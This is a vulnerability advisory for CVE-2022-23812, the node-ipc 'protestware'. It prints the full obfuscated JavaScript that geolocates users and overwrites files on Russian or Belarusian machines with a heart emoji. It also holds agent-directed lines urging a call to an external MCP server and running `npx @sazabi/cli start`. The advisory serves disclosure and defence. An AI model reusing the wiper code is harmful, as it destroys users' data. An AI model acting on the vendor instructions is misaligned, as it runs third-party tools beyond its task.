# CVE-2022-23812: Malicious Package

- Also known as: GHSA-97M3-W2CP-4XX6
- Severity: CVSS 9.8 (Critical), CNA
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H
- Known exploited (CISA KEV): no
- Public exploit code: 1 GitHub repo listed by PoC-in-GitHub
- Fixed in: 10.1.3
- Published: 2022-03-16 · Updated: 2024-09-16

## Affected

- n/a node-ipc: from 10.1.1; fixed in 10.1.3
- node-ipc (npm): from 10.1.1, fixed in 10.1.3

## Description

This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };

## What to do

- Check your stack: if you ship or depend on Node.js, upgrade to a fixed version (10.1.3) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2022-23812

## Related

- Browse: [Critical entries](https://cve.now/critical.md) · [Node.js](https://cve.now/tech/node.md) · [npm packages](https://cve.now/ecosystem/npm.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370
- https://github.com/RIAEvangelist/node-ipc/issues/236
- https://github.com/RIAEvangelist/node-ipc/issues/233
- https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
- https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580
- https://security.netapp.com/advisory/ntap-20220407-0005/
- https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812

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Page: https://cve.now/CVE-2022-23812
JSON: https://cve.now/api/v1/entries/CVE-2022-23812
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